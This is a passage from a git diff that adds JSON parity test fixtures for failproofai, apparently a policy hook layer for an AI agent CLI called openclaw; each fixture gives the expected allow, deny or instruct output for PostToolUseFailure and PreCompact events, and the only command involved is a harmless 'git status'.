a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..27226dd7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fe6255a5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9c71a9e6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0952095a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..207af093 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cae5811f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d15800be --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4a85351c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bc555a31 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ab8ee268 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..689f3bcd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4ac527c9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ccba4f89 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..cde65cb3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1ac23443 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fb70397d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..837ed477 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..368791cc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction 